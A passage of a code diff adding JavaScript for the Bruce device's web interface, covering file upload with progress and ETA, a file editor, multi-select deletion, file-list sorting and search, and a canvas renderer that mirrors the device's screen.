+ $('#upload-overall-fill').style.width = Math.min(100, overallPct).toFixed(1) + '%';
+
+ // Speed & ETA
+ var elapsed = (Date.now() - _uploadStartTime) / 1000;
+ if (elapsed > 0.5 && transferred > 0) {
+ var speed = transferred / elapsed;
+ var remaining = _totalBytes - transferred;
+ var etaSec = remaining / speed;
+
+ // Format speed
+ var speedStr;
+ if (speed >= 1048576) speedStr = (speed / 1048576).toFixed(1) + ' MB/s';
+ else if (speed >= 1024) speedStr = (speed / 1024).toFixed(0) + ' KB/s';
+ else speedStr = Math.round(speed) + ' B/s';
+ $('#upload-speed').textContent = speedStr;
+
+ // Format ETA
+ var etaStr;
+ if (etaSec < 1) etaStr = 'ETA: < 1s';
+ else if (etaSec < 60) etaStr = 'ETA: ' + Math.ceil(etaSec) + 's';
+ else if (etaSec < 3600) etaStr = 'ETA: ' + Math.floor(etaSec / 60) + 'm ' + Math.ceil(etaSec % 60) + 's';
+ else etaStr = 'ETA: ' + Math.floor(etaSec / 3600) + 'h ' + Math.floor((etaSec % 3600) / 60) + 'm';
+ $('#upload-eta').textContent = etaStr;
+ } else {
+ $('#upload-speed').textContent = '--';
+ $('#upload-eta').textContent = 'ETA: calculating...';
+ }
+}
+
+function appendFileToQueue(files) {
+ if (_uploadItems.length === 0) resetUploadState();
+ Dialog.show('upload');
+ for (var i = 0; i < files.length; i++) addUploadItem(files[i]);
+ updateUploadStats(0, 0);
+ renderUploadPage();
+}
+
+async function appendDroppedFiles(entry) {
+ return new Promise(function (resolve) {
+ if (entry.isFile) {
+ entry.file(function (file) {
+ var fileWithPath = new File([file], entry.fullPath.substring(1), { type: file.type });
+ addUploadItem(fileWithPath);
+ _queueUpload.push(fileWithPath);
+ resolve();
+ });
+ } else if (entry.isDirectory) {
+ var reader = entry.createReader();
+ var allEntries = [];
+ var readBatch = function () {
+ reader.readEntries(function (entries) {
+ if (entries.length === 0) {
+ var proms = [];
+ for (var i = 0; i < allEntries.length; i++) proms.push(appendDroppedFiles(allEntries[i]));
+ Promise.all(proms).then(resolve);
+ } else {
+ allEntries = allEntries.concat(Array.from(entries));
+ readBatch();
+ }
+ });
+ };
+ readBatch();
+ }
+ });
+}
+
+function updateItemUI(item) {
+ var row = document.querySelector('[data-uid="' + item.id + '"]');
+ if (!row) return;
+ row.className = 'upload-loading' + (item.status === 'uploading' ? ' active' : item.status !== 'pending' ? ' ' + item.status : '');
+ var bar = row.querySelector('.bar');
+ if (bar) bar.style.width = item.pct + '%';
+ var pct = row.querySelector('.upload-pct');
+ if (pct) {
+ if (item.status === 'done') pct.textContent = '100%';
+ else if (item.status === 'error') pct.textContent = 'ERR';
+ else if (item.status === 'uploading') pct.textContent = Math.round(item.pct) + '%';
+ else pct.textContent = '';
+ }
+}
+
+async function uploadFile() {
+ if (_queueUpload.length === 0) {
+ _runningUpload = false;
+ // Final stats
+ updateUploadStats(0, 0);
+ $('#upload-counter').textContent = _uploadedCount + ' / ' + _uploadItems.length;
+ $('#upload-overall-fill').style.width = '100%';
+ $('#upload-eta').textContent = 'Complete!';
+ setTimeout(function() {
+ resetUploadState();
+ $('#upload-list').innerHTML = '';
+ fetchSystemInfo();
+ fetchFiles(currentDrive, currentPath);
+ Dialog.hide();
+ Toast.show("Upload complete", "success");
+ }, 800);
+ return;
+ }
+
+ return new Promise(function (resolve, reject) {
+ _runningUpload = true;
+ if (_uploadStartTime === 0) _uploadStartTime = Date.now();
+
+ var file = _queueUpload.shift();
+ var filename = file.webkitRelativePath || file.name;
+
+ // Find matching upload item
+ var item = null;
+ for (var i = 0; i < _uploadItems.length; i++) {
+ if (_uploadItems[i].status === 'pending' && _uploadItems[i].name === filename) {
+ item = _uploadItems[i]; break;
+ }
+ }
+ if (!item) {
+ // Fallback: find first pending
+ for (var j = 0; j < _uploadItems.length; j++) {
+ if (_uploadItems[j].status === 'pending') { item = _uploadItems[j]; break; }
+ }
+ }
+ if (item) {
+ item.status = 'uploading';
+ item.pct = 0;
+ renderUploadPage();
+ }
+
+ var fd = new FormData();
+ fd.append("file", file, filename);
+ fd.append("folder", currentPath);
+ fd.append("fs", currentDrive);
+
+ var realUrl = "/upload";
+ if (IS_DEV) realUrl = "/bruce" + realUrl;
+ var req = new XMLHttpRequest();
+ req.upload.onprogress = function (e) {
+ if (e.lengthComputable) {
+ var pct = (e.loaded / e.total) * 100;
+ if (item) {
+ item.pct = pct;
+ updateItemUI(item);
+ }
+ updateUploadStats(pct, file.size);
+ }
+ };
+ req.onload = function () {
+ if (item) {
+ item.status = (req.status >= 200 && req.status < 300) ? 'done' : 'error';
+ item.pct = 100;
+ updateItemUI(item);
+ }
+ _uploadedCount++;
+ _uploadedBytes += file.size;
+ updateUploadStats(0, 0);
+ renderUploadPage();
+ uploadFile();
+ if (req.status >= 200 && req.status < 300) resolve(req.responseText);
+ else reject();
+ };
+ req.onabort = function () {
+ if (item) { item.status = 'error'; updateItemUI(item); }
+ reject();
+ };
+ req.onerror = function () {
+ if (item) { item.status = 'error'; updateItemUI(item); }
+ reject();
+ };
+ req.open("POST", realUrl, true);
+ req.send(fd);
+ });
+}
+
+async function runCommand(cmd) {
+ Dialog.loading.show('Running command...');
+ try {
+ await requestPost("/cm", { cmnd: cmd });
+ Toast.show("Command executed", "success");
+ } catch (error) {
+ Toast.show("Command failed: " + error.message, "error");
+ } finally {
+ Dialog.loading.hide();
+ }
+}
+
+// Editor
+function updateLineNumbers() {
+ var textarea = $(".dialog.editor .file-content");
+ var lineNumbers = $(".dialog.editor .line-numbers");
+ if (!textarea || !lineNumbers) return;
+ var lines = textarea.value.split('\n');
+ var nums = '';
+ for (var i = 1; i <= lines.length; i++) nums += i + '\n';
+ lineNumbers.textContent = nums;
+}
+
+function syncScrolling() {
+ var textarea = $(".dialog.editor .file-content");
+ var lineNumbers = $(".dialog.editor .line-numbers");
+ if (textarea && lineNumbers) lineNumbers.scrollTop = textarea.scrollTop;
+}
+
+function isModified(target) {
+ return target.getAttribute("data-hash") !== calcHash(target.value);
+}
+
+async function saveEditorFile(runFile) {
+ Dialog.loading.show('Saving...');
+ var editor = $(".dialog.editor .file-content");
+ var filename = $(".dialog.editor .editor-file-name").textContent.trim();
+ if (isModified(editor)) {
+ $(".act-save-edit-file").disabled = true;
+ editor.setAttribute("data-hash", calcHash(editor.value));
+ await requestPost("/edit", { fs: currentDrive, name: filename, content: editor.value });
+ Toast.show("File saved", "success");
+ }
+ if (runFile) {
+ var serial = getSerialCommand(filename);
+ if (serial !== undefined) await runCommand(serial + ' "' + filename + '"');
+ }
+ Dialog.loading.hide();
+}
+
+// Multi-select system
+var selectedFiles = new Set();
+
+function updateMultiBar() {
+ var bar = $('#multi-bar');
+ var count = selectedFiles.size;
+ if (count > 0) {
+ bar.classList.remove('hidden');
+ $('#selected-count').textContent = count + ' selected';
+ } else {
+ bar.classList.add('hidden');
+ }
+ var checkAll = $('#check-all');
+ var allChecks = document.querySelectorAll('.file-check');
+ if (allChecks.length > 0 && count === allChecks.length) {
+ checkAll.checked = true;
+ } else {
+ checkAll.checked = false;
+ }
+}
+
+function clearSelection() {
+ selectedFiles.clear();
+ document.querySelectorAll('.file-check').forEach(function (cb) { cb.checked = false; });
+ document.querySelectorAll('tr.selected').forEach(function (r) { r.classList.remove('selected'); });
+ updateMultiBar();
+}
+
+async function deleteSelected() {
+ var files = Array.from(selectedFiles);
+ if (files.length === 0) return;
+ if (!confirm("Delete " + files.length + " item(s)?\n\nTHIS CANNOT BE UNDONE!")) return;
+
+ Dialog.loading.show('Deleting ' + files.length + ' items...');
+ var errors = 0;
+ for (var i = 0; i < files.length; i++) {
+ Dialog.loading.show('Deleting (' + (i + 1) + '/' + files.length + ')...');
+ try {
+ await requestGet("/file", { fs: currentDrive, action: 'delete', name: files[i] });
+ } catch (e) { errors++; }
+ }
+ Dialog.loading.hide();
+ clearSelection();
+ fetchSystemInfo();
+ fetchFiles(currentDrive, currentPath);
+ if (errors > 0) Toast.show(errors + " deletion(s) failed", "error");
+ else Toast.show(files.length + " item(s) deleted", "success");
+}
+
+// File list rendering and state
+var _rawFileList = '';
+var _parsedFiles = [];
+var _sortCol = 'name';
+var _sortDir = 1; // 1 = asc, -1 = desc
+
+function parseFileList(fileList) {
+ var parsed = [];
+ fileList.split("\n").forEach(function (line) {
+ var parts = line.split(":");
+ var type = parts[0];
+ var name = parts[1];
+ var size = parts.slice(2).join(":");
+ if (size === undefined) return;
+ parsed.push({ type: type, name: name, size: size, rawSize: parseSizeToBytes(size) });
+ });
+ return parsed;
+}
+
+function parseSizeToBytes(sizeStr) {
+ if (!sizeStr || sizeStr === '-') return -1;
+ var num = parseFloat(sizeStr);
+ if (isNaN(num)) return 0;
+ var s = sizeStr.toUpperCase();
+ if (s.indexOf('GB') >= 0) return num * 1073741824;
+ if (s.indexOf('MB') >= 0) return num * 1048576;
+ if (s.indexOf('KB') >= 0) return num * 1024;
+ return num;
+}
+
+function sortFiles(files) {
+ return files.slice().sort(function (a, b) {
+ // Parent dir always first
+ if (a.type === 'pa') return -1;
+ if (b.type === 'pa') return 1;
+ // Folders before files
+ if (a.type !== b.type) return b.type.localeCompare(a.type);
+
+ if (_sortCol === 'size') {
+ return (a.rawSize - b.rawSize) * _sortDir;
+ }
+ return a.name.toLowerCase().localeCompare(b.name.toLowerCase()) * _sortDir;
+ });
+}
+
+function renderFileRow(fileList) {
+ _rawFileList = fileList;
+ _parsedFiles = parseFileList(fileList);
+ renderParsedFiles();
+}
+
+function renderParsedFiles() {
+ var tbody = $("table.explorer tbody");
+ tbody.innerHTML = "";
+ selectedFiles.clear();
+ updateMultiBar();
+
+ var search = ($('#search-files') || {}).value || '';
+ search = search.toLowerCase().trim();
+
+ var sorted = sortFiles(_parsedFiles);
+ var visibleCount = 0;
+
+ sorted.forEach(function (item) {
+ var e;
+ var dPath = ((currentPath.endsWith("/") ? currentPath : currentPath + "/") + item.name).replace(/\/\//g, "/");
+
+ if (item.type === "pa") {
+ if (dPath === "/") return;
+ e = T.pathRow();
+ var preFolder = currentPath.substring(0, currentPath.lastIndexOf('/'));
+ if (preFolder === "") preFolder = "/";
+ e.querySelector(".path-row").setAttribute("data-path", preFolder);
+ visibleCount++;
+ } else if (item.type === "Fi") {
+ if (search && item.name.toLowerCase().indexOf(search) === -1) return;
+ e = T.fileRow();
+ e.querySelector('.file-row').setAttribute("data-file", dPath);
+ e.querySelector('.act-rename').setAttribute("data-action", "renameFile");
+ e.querySelector(".col-name").classList.add("act-edit-file");
+ e.querySelector(".col-name").textContent = item.name;
+ e.querySelector(".col-name").setAttribute("title", item.name);
+ e.querySelector(".col-size").textContent = item.size;
+ e.querySelector(".col-action").classList.add("type-file");
+
+ var downloadUrl = '/file?fs=' + currentDrive + '&name=' + encodeURIComponent(dPath) + '&action=download';
+ if (IS_DEV) downloadUrl = "/bruce" + downloadUrl;
+ e.querySelector(".act-download").setAttribute("download", item.name);
+ e.querySelector(".act-download").setAttribute("href", downloadUrl);
+
+ var serialCmd = getSerialCommand(item.name);
+ if (serialCmd) {
+ e.querySelector(".act-play").setAttribute("data-cmd", serialCmd + ' "' + dPath + '"');
+ e.querySelector(".col-action").classList.add("executable");
+ }
+ visibleCount++;
+ } else if (item.type === "Fo") {
+ if (search && item.name.toLowerCase().indexOf(search) === -1) return;
+ e = T.fileRow();
+ e.querySelector(".col-name").classList.add("act-browse");
+ e.querySelector('.file-row').setAttribute("data-path", dPath);
+ e.querySelector('.act-rename').setAttribute("data-action", "renameFolder");
+ e.querySelector(".col-name").textContent = item.name;
+ e.querySelector(".col-name").setAttribute("title", item.name);
+ e.querySelector(".col-size").textContent = item.size;
+ e.querySelector(".col-action").classList.add("type-folder");
+ visibleCount++;
+ }
+
+ if (e) tbody.appendChild(e);
+ });
+
+ var empty = $('#empty-state');
+ if (visibleCount === 0 && search) {
+ empty.classList.remove('hidden');
+ } else {
+ empty.classList.add('hidden');
+ }
+
+ updateSortIcons();
+}
+
+function updateSortIcons() {
+ document.querySelectorAll('.sort-icon').forEach(function (el) { el.textContent = ''; });
+ var th = $('th[data-sort="' + _sortCol + '"]');
+ if (th) {
+ th.querySelector('.sort-icon').textContent = _sortDir === 1 ? ' \u25B2' : ' \u25BC';
+ }
+}
+
+// State
+var sdCardAvailable = false;
+var currentDrive;
+var currentPath;
+var btnRefreshFolder = $("#refresh-folder");
+
+// URL management
+function updateURL(drive, path, editFile) {
+ var params = new URLSearchParams();
+ if (drive) params.set('drive', drive);
+ if (path && path !== '/') params.set('path', path);
+ if (editFile) params.set('edit', editFile);
+ var newURL = window.location.pathname + (params.toString() ? '?' + params.toString() : '');
+ window.history.replaceState({ drive: drive, path: path, editFile: editFile }, '', newURL);
+}
+
+function getURLParams() {
+ var params = new URLSearchParams(window.location.search);
+ return {
+ drive: params.get('drive'),
+ path: params.get('path') || '/',
+ editFile: params.get('edit')
+ };
+}
+
+async function fetchFiles(drive, path) {
+ btnRefreshFolder.classList.add("reloading");
+ $("table.explorer tbody").innerHTML = 'Loading... ';
+ currentDrive = drive;
+ currentPath = path;
+
+ var urlParams = getURLParams();
+ updateURL(drive, path, urlParams.editFile);
+
+ var prev = document.querySelector('.act-browse.active');
+ if (prev) prev.classList.remove("active");
+ var card = document.querySelector('.act-browse[data-drive="' + drive + '"]');
+ if (card) card.classList.add("active");
+ $(".current-path").textContent = drive + ":/" + path;
+ clearSelection();
+
+ var req = await requestGet("/listfiles", { fs: drive, folder: path });
+ renderFileRow(req);
+ btnRefreshFolder.classList.remove("reloading");
+}
+
+async function fetchSystemInfo() {
+ Dialog.loading.show('Fetching system info...');
+ try {
+ var req = await requestGet("/systeminfo");
+ var info = JSON.parse(req);
+ $(".bruce-version").textContent = info.BRUCE_VERSION;
+ $(".free-sd span").textContent = info.SD.used + ' / ' + info.SD.total;
+ $(".free-fs span").textContent = info.LittleFS.used + ' / ' + info.LittleFS.total;
+ sdCardAvailable = info.SD.total !== '0 B';
+
+ // Storage fill bars
+ var sdUsed = parseStorageBytes(info.SD.used);
+ var sdTotal = parseStorageBytes(info.SD.total);
+ var fsUsed = parseStorageBytes(info.LittleFS.used);
+ var fsTotal = parseStorageBytes(info.LittleFS.total);
+ var sdFill = document.getElementById('sd-fill');
+ var fsFill = document.getElementById('fs-fill');
+ if (sdFill) sdFill.style.width = (sdTotal > 0 ? Math.min(100, (sdUsed / sdTotal) * 100) : 0) + '%';
+ if (fsFill) fsFill.style.width = (fsTotal > 0 ? Math.min(100, (fsUsed / fsTotal) * 100) : 0) + '%';
+ } catch (e) {
+ Toast.show("Failed to fetch system info", "error");
+ }
+ Dialog.loading.hide();
+}
+
+// Navigator
+async function openNavigator() {
+ Dialog.show('navigator');
+ await reloadScreen();
+ autoReloadScreen();
+}
+
+var SCREEN_NAVIGATING = false;
+async function runNavigation(direction) {
+ if (SCREEN_NAVIGATING) return;
+ SCREEN_NAVIGATING = true;
+ try {
+ drawCanvasLoading();
+ await requestPost("/cm", { cmnd: "nav " + direction.toLowerCase() });
+ await reloadScreen();
+ } catch (error) {
+ Toast.show("Navigation failed: " + error.message, "error");
+ } finally {
+ SCREEN_NAVIGATING = false;
+ }
+}
+
+var btnForceReload = $("#force-reload");
+var SCREEN_RELOAD = false;
+async function reloadScreen() {
+ if (SCREEN_RELOAD) return;
+ SCREEN_RELOAD = true;
+ btnForceReload.classList.add("reloading");
+ try {
+ var binResponse = await fetch((IS_DEV ? "/bruce" : "") + "/getscreen");
+ var arrayBuffer = await binResponse.arrayBuffer();
+ var screenData = new Uint8Array(arrayBuffer);
+ await renderTFT(screenData);
+ } catch (error) {
+ Toast.show("Screen reload failed", "error");
+ } finally {
+ btnForceReload.classList.remove("reloading");
+ SCREEN_RELOAD = false;
+ }
+}
+
+var eConfigAutoReload = $("#navigator-auto-reload");
+var AUTO_RELOAD_SCREEN = null;
+async function taskReloader() {
+ var timer = parseInt(eConfigAutoReload.value);
+ var navigatorOpen = $(".dialog.navigator:not(.hidden)");
+ if (timer <= 0 || !navigatorOpen) {
+ if (AUTO_RELOAD_SCREEN) { clearTimeout(AUTO_RELOAD_SCREEN); AUTO_RELOAD_SCREEN = null; }
+ return;
+ }
+ await reloadScreen();
+ setTimeout(taskReloader, timer);
+}
+async function autoReloadScreen() {
+ var timer = parseInt(eConfigAutoReload.value);
+ if (AUTO_RELOAD_SCREEN) { clearTimeout(AUTO_RELOAD_SCREEN); AUTO_RELOAD_SCREEN = null; }
+ if (timer > 0) taskReloader();
+}
+
+// TFT Rendering — preserved exactly
+var loadingDrawn = false;
+var imageCache = {};
+async function renderTFT(data) {
+ loadingDrawn = false;
+ var canvas = $("#navigator-screen");
+ var ctx = canvas.getContext("2d");
+
+ var loadImage = async function (url) {
+ if (imageCache[url]) return imageCache[url];
+ return new Promise(function (resolve, reject) {
+ var img = new Image();
+ img.onload = function () { imageCache[url] = img; resolve(img); };
+ img.onerror = function (err) { reject(err); };
+ img.src = url;
+ });
+ };
+
+ var drawImageCached = async function (img_url, input) {
+ if (IS_DEV) img_url = "/bruce" + img_url;
+ var img = await loadImage(img_url);
+ var drawX = input.x;
+ var drawY = input.y;
+ if (input.center === 1) {
+ drawX += (canvas.width - img.width) / 2;
+ drawY += (canvas.height - img.height) / 2;
+ }
+ ctx.drawImage(img, drawX, drawY);
+ };
+
+ var color565toCSS = function (color565) {
+ var r = ((color565 >> 11) & 0x1F) * 255 / 31;
+ var g = ((color565 >> 5) & 0x3F) * 255 / 63;
+ var b = (color565 & 0x1F) * 255 / 31;
+ return "rgb(" + r + "," + g + "," + b + ")";
+ };
+
+ var drawRoundRect = function (ctx, input, fill) {
+ var x = input.x, y = input.y, w = input.w, h = input.h, r = input.r;
+ ctx.beginPath();
+ ctx.moveTo(x + r, y);
+ ctx.arcTo(x + w, y, x + w, y + h, r);
+ ctx.arcTo(x + w, y + h, x, y + h, r);
+ ctx.arcTo(x, y + h, x, y, r);
+ ctx.arcTo(x, y, x + w, y, r);
+ ctx.closePath();
+ if (fill) ctx.fill(); else ctx.stroke();
+ };
+
+ var startData = 0;
+ var getByteValue = function (dataType) {
+ if (dataType === 'int8') {
+ return data[startData++];
+ } else if (dataType === 'int16') {
+ var value = (data[startData] << 8) | data[startData + 1];
+ startData += 2;
+ return value;
+ } else if (dataType.startsWith("s")) {
+ var strLength = parseInt(dataType.substring(1));
+ var strBytes = data.slice(startData, startData + strLength);
+ startData += strLength;
+ return new TextDecoder().decode(strBytes);
+ }
+ };
+
+ var byteToObject = function (fn, size) {
+ var keysMap = {
+ 0: ["fg"],
+ 1: ["x", "y", "w", "h", "fg"],
+ 2: ["x", "y", "w", "h", "fg"],
+ 3: ["x", "y", "w", "h", "r", "fg"],
+ 4: ["x", "y", "w", "h", "r", "fg"],
+ 5: ["x", "y", "r", "fg"],
+ 6: ["x", "y", "r", "fg"],
+ 7: ["x", "y", "x2", "y2", "x3", "y3", "fg"],
+ 8: ["x", "y", "x2", "y2", "x3", "y3", "fg"],
+ 9: ["x", "y", "rx", "ry", "fg"],
+ 10: ["x", "y", "rx", "ry", "fg"],
+ 11: ["x", "y", "x1", "y1", "fg"],
+ 12: ["x", "y", "r", "ir", "startAngle", "endAngle", "fg", "bg"],
+ 13: ["x", "y", "bx", "by", "wd", "fg", "bg"],
+ 14: ["x", "y", "size", "fg", "bg", "txt"],
+ 15: ["x", "y", "size", "fg", "bg", "txt"],
+ 16: ["x", "y", "size", "fg", "bg", "txt"],
+ 17: ["x", "y", "size", "fg", "bg", "txt"],
+ 18: ["x", "y", "center", "ms", "fs", "file"],
+ 20: ["x", "y", "h", "fg"],
+ 21: ["x", "y", "w", "fg"],
+ 99: ["w", "h", "rotation"]
+ };
+
+ var r = {};
+ var lengthLeft = size - 3;
+ for (var key of keysMap[fn]) {
+ if (['txt', 'file'].includes(key)) {
+ r[key] = getByteValue("s" + lengthLeft);
+ } else if (['rotation', 'fs'].includes(key)) {
+ lengthLeft -= 1;
+ r[key] = getByteValue('int8');
+ if (key === 'fs') r[key] = (r[key] === 0) ? "SD" : "FS";
+ } else {
+ lengthLeft -= 2;
+ r[key] = getByteValue('int16');
+ }
+ }
+ return r;
+ };
+
+ var offset = 0;
+ ctx.clearRect(0, 0, canvas.width, canvas.height);
+ while (offset < data.length) {
+ ctx.beginPath();
+ if (data[offset] !== 0xAA) break;
+
+ startData = offset + 1;
+ var size = getByteValue('int8');
+ var fn = getByteValue('int8');
+ offset += size;
+
+ var input = byteToObject(fn, size);
+ ctx.lineWidth = 1;
+ ctx.fillStyle = "black";
+ ctx.strokeStyle = "black";
+ switch (fn) {
+ case 99:
+ canvas.width = input.w;
+ canvas.height = input.h;
+ case 0:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.fillRect(0, 0, canvas.width, canvas.height);
+ break;
+ case 1:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.strokeRect(input.x, input.y, input.w, input.h);
+ break;
+ case 2:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.fillRect(input.x, input.y, input.w, input.h);
+ break;
+ case 3:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ drawRoundRect(ctx, input, false);
+ break;
+ case 4:
+ ctx.fillStyle = color565toCSS(input.fg);
+ drawRoundRect(ctx, input, true);
+ break;
+ case 5:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.arc(input.x, input.y, input.r, 0, Math.PI * 2);
+ ctx.stroke();
+ break;
+ case 6:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.arc(input.x, input.y, input.r, 0, Math.PI * 2);
+ ctx.fill();
+ break;
+ case 7:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.beginPath();
+ ctx.moveTo(input.x, input.y);
+ ctx.lineTo(input.x2, input.y2);
+ ctx.lineTo(input.x3, input.y3);
+ ctx.closePath();
+ ctx.stroke();
+ break;
+ case 8:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.beginPath();
+ ctx.moveTo(input.x, input.y);
+ ctx.lineTo(input.x2, input.y2);
+ ctx.lineTo(input.x3, input.y3);
+ ctx.closePath();
+ ctx.fill();
+ break;
+ case 9:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.beginPath();
+ ctx.ellipse(input.x, input.y, input.rx, input.ry, 0, 0, Math.PI * 2);
+ ctx.stroke();
+ break;
+ case 10:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.beginPath();
+ ctx.ellipse(input.x, input.y, input.rx, input.ry, 0, 0, Math.PI * 2);
+ ctx.fill();
+ break;
+ case 11:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.moveTo(input.x, input.y);
+ ctx.lineTo(input.x1, input.y1);
+ ctx.stroke();
+ break;
+ case 12:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.lineWidth = (input.r - input.ir) || 1;
+ var sa = (input.startAngle + 90 || 0) * Math.PI / 180;
+ var ea = (input.endAngle + 90 || 0) * Math.PI / 180;
+ var radius = (input.r + input.ir) / 2;
+ ctx.beginPath();
+ ctx.arc(input.x, input.y, radius, sa, ea);
+ ctx.stroke();
+ break;
+ case 13:
+ ctx.strokeStyle = color565toCSS(input.fg);
+ ctx.lineWidth = input.wd || 1;
+ ctx.moveTo(input.x, input.y);
+ ctx.lineTo(input.bx, input.by);
+ ctx.stroke();
+ break;
+ case 14: case 15: case 16: case 17:
+ if (input.bg == input.fg) input.bg = 0;
+ ctx.fillStyle = color565toCSS(input.bg);
+ input.txt = input.txt.replaceAll("\\n", "");
+ var fw = input.size === 3 ? 13.5 : input.size === 2 ? 9 : 4.5;
+ var o = 0;
+ if (fn === 15) o = input.txt.length * fw;
+ if (fn === 14) o = input.txt.length * fw / 2;
+ ctx.fillRect(input.x - o, input.y, input.txt.length * fw, input.size * 8);
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.font = (input.size * 8) + "px monospace";
+ ctx.textBaseline = "top";
+ ctx.textAlign = fn === 14 ? "center" : fn === 15 ? "right" : "left";
+ ctx.fillText(input.txt, input.x, input.y);
+ break;
+ case 18:
+ var url = "/file?fs=" + input.fs + "&name=" + encodeURIComponent(input.file) + "&action=image";
+ await drawImageCached(url, input);
+ break;
+ case 19:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.fillRect(input.x, input.y, 1, 1);
+ break;
+ case 20:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.fillRect(input.x, input.y, 1, input.h);
+ break;
+ case 21:
+ ctx.fillStyle = color565toCSS(input.fg);
+ ctx.fillRect(input.x, input.y, input.w, 1);
+ break;
+ }
+ }
+}
+
+function drawCanvasLoading() {
+ if (loadingDrawn || !showNavigating) return;
+ loadingDrawn = true;
+ var canvas = $("#navigator-screen");
+ var ctx = canvas.getContext("2d");
+ ctx.save();
+ ctx.globalAlpha = 0.8;
+ ctx.fillStyle = "#000";
+ ctx.fillRect(0, 0, canvas.width, canvas.height);
+ ctx.globalAlpha = 1.0;
+ ctx.fillStyle = "#fff";
+ ctx.font = "bold 14px -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif";
+ ctx.textAlign = "center";
+ ctx.textBaseline = "middle";
+ ctx.fillText("Navigating...", canvas.width / 2, canvas.height / 2);
+ ctx.restore();
+}
+
+// Event setup
+var oldTimerSession = sessionStorage.getItem("autoReload") || "0";
+var timerOption = eConfigAutoReload.querySelector('option[value="' + oldTimerSession + '"]');
+if (timerOption) timerOption.selected = true;
+eConfigAutoReload.addEventListener("change", function () {
+ autoReloadScreen();
+ sessionStorage.setItem("autoReload", eConfigAutoReload.value);
+});
+
+btnForceReload.addEventListener("click", function (e) {
+ e.preventDefault();
+ drawCanvasLoading();
+ reloadScreen();
+});
+
+// Mobile menu toggle
+document.getElementById('mobile-menu-toggle').addEventListener('click', function () {
+ document.getElementById('header-nav').classList.toggle('open');
+});
+
+btnRefreshFolder.addEventListener('click', function () {
+ fetchFiles(currentDrive, currentPath);
+});
+// Close mobile menu on any nav button click
+document.querySelectorAll('#header-nav .btn').forEach(function (btn) {
+ btn.addEventListener('click', function () {
+ document.getElementById('header-nav').classList.remove('open');
+ });
+});
+
+// Drag and drop
+window.ondragenter = function () { $(".upload-area").classList.remove("hidden"); };
+$(".upload-area").ondragleave = function () { $(".upload-area").classList.add("hidden"); };
+$(".upload-area").ondragover = function (e) { e.preventDefault(); };
+$(".upload-area").ondrop = async function (e) {
+ e.preventDefault();
+ $(".upload-area").classList.add("hidden");
+ var items = e.dataTransfer.items;
+ if (!items || items.length === 0) return;
+ // Collect all entries synchronously — the DataTransferItemList is
+ // a live object that the browser invalidates after the first await.
+ var entries = [];
+ for (var k = 0; k < items.length; k++) {
+ var entry = items[k].webkitGetAsEntry();
+ if (entry) entries.push(entry);
+ }
+ if (entries.length === 0) return;
+ if (_uploadItems.length === 0) resetUploadState();
+ Dialog.show('upload');
+ for (var j = 0; j < entries.length; j++) {
+ await appendDroppedFiles(entries[j]);
+ }
+ renderUploadPage();
+ updateUploadStats(0, 0);
+ if (!_runningUpload) setTimeout(function () {
+ if (_queueUpload.length === 0) return;
+ uploadFile();
+ }, 100);
+};
+
+document.querySelectorAll(".inp-uploader").forEach(function (el) {
+ el.addEventListener("change", function (e) {
+ var files = e.target.files;
+ if (!files || files.length === 0) return;
+ appendFileToQueue(files);
+ _queueUpload.push.apply(_queueUpload, Array.from(files));
+ if (!_runningUpload) uploadFile();
+ e.target.value = "";
+ });
+});
+
+// File search
+$('#search-files').addEventListener('input', function () { renderParsedFiles(); });
+
+// Upload pagination
+$('#upload-prev').addEventListener('click', function () {
+ if (_uploadPage > 0) { _uploadPage--; renderUploadPage(); }
+});
+$('#upload-next').addEventListener('click', function () {
+ var totalPages = Math.ceil(_uploadItems.length / _uploadPerPage);
+ if (_uploadPage < totalPages - 1) { _uploadPage++; renderUploadPage(); }
+});
+
+// Sort columns
+document.querySelectorAll('th.sortable').forEach(function (th) {
+ th.addEventListener('click', function () {
+ var col = th.getAttribute('data-sort');
+ if (_sortCol === col) _sortDir *= -1;
+ else { _sortCol = col; _sortDir = 1; }
+ renderParsedFiles();
+ });
+});
+
+// Select all checkbox
+$('#check-all').addEventListener('change', function () {
+ var checked = this.checked;
+ document.querySelectorAll('.file-check').forEach(function (cb) {
+ cb.checked = checked;
+ var row = cb.closest('tr');
+ var file = row.getAttribute('data-file') || row.getAttribute('data-path');
+ if (file) {
+ if (checked) { selectedFiles.add(file); row.classList.add('selected'); }
+ else { selectedFiles.delete(file); row.classList.remove('selected'); }
+ }
+ });
+ updateMultiBar();
+});
+
+// Multi-delete
+$('#multi-delete').addEventListener('click', function () { deleteSelected(); });
+$('#multi-cancel').addEventListener('click', function () { clearSelection(); });
+
+// Main container clicks
+$(".app").addEventListener("click", function (e) {
+ // Storage card / browse
+ var browseAction = e.target.closest(".act-browse");
+ if (browseAction) {
+ e.preventDefault();
+ var drive = browseAction.getAttribute("data-drive") || currentDrive || "LittleFS";
+ var path = browseAction.getAttribute("data-path") || browseAction.closest("tr")?.getAttribute('data-path') || "/";
+ if (drive === currentDrive && path === currentPath) return;
+ fetchFiles(drive, path);
+ return;
+ }
+
+ // File checkbox
+ var checkbox = e.target.closest('.file-check');
+ if (checkbox) {
+ var row = checkbox.closest('tr');
+ var file = row.getAttribute('data-file') || row.getAttribute('data-path');
+ if (file) {
+ if (checkbox.checked) { selectedFiles.add(file); row.classList.add('selected'); }
+ else { selectedFiles.delete(file); row.classList.remove('selected'); }
+ updateMultiBar();
+ }
+ return;
+ }
+
+ // Edit file
+ var editFileAction = e.target.closest(".act-edit-file");
+ if (editFileAction) {
+ e.preventDefault();
+ var editor = $(".dialog.editor .file-content");
+ var file = editFileAction.closest("tr").getAttribute("data-file");
+ if (!file) return;
